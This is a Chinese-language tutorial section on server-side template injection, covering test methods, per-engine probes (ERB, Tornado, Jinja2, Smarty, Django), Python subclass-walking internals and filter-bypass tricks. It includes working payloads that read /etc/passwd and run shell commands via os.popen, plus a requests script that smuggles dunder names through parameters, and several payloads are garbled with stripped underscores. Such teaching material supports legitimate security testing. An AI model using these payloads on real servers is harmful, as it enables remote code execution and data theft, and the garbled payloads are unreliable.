4.11. 模版注入

4.11.1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

4.11.2. 测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

4.11.3. 测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
    • Ruby
      • <%= 7 * 7 %>
      • <%= File.open('/etc/passwd').read %>
    • Java
      • ${7*7}
    • Twig
      • {{7*7}}
    • Smarty
      • {php}echo id;{/php}
    • AngularJS
      • $eval('1+1')
    • Tornado
      • 引用模块 {% import module %}
      • => {% import os %}{{ os.popen("whoami").read() }}
    • Flask/Jinja2
      • {{ config.items() }}
      • {{''.class.mro[-1].subclasses()}}
    • Django
      • {{ request }}
      • {% debug %}
      • {% load module %}
      • {% include "x.html" %}
      • {% extends "x.html" %}

4.11.4. 目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏
  • 提权

4.11.5. 相关属性

4.11.5.1. class

python中的新式类(即显示继承object对象的类)都有一个属性 class 用于获取当前实例对应的类,例如 "".class 就可以获取到字符串实例对应的类

4.11.5.2. mro

python中类对象的 mro 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

4.11.5.3. globals

保存了函数所有的所有全局变量,在利用中,可以使用 init 获取对象的函数,并通过 globals 获取 file os 等模块以进行下一步的利用

4.11.5.4. subclasses()

python的新式类都保留了它所有的子类的引用,subclasses() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 subclasses() 方法就可以获取想要的类的对象。

4.11.6. 常见Payload

  • ().class.bases[0].subclasses()40.read()
  • ().class.bases[0].subclasses()[59].init.funcglobals.values()[13]['eval']('_import("os").popen("ls /").read()' )

4.11.7. 绕过技巧

4.11.7.1. 字符串拼接

request['cl'+'ass'].base.base.base'subcla'+'sses'[60]

4.11.7.2. 使用参数绕过

  1. params = {
  2. 'clas': '__class__',
  3. 'mr': '__mro__',
  4. 'subc': '__subclasses__'
  5. }
  6. data = {
  7. "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
  8. }
  9. r = requests.post(url, params=params, data=data)
  10. print(r.text)

4.11.8. 参考链接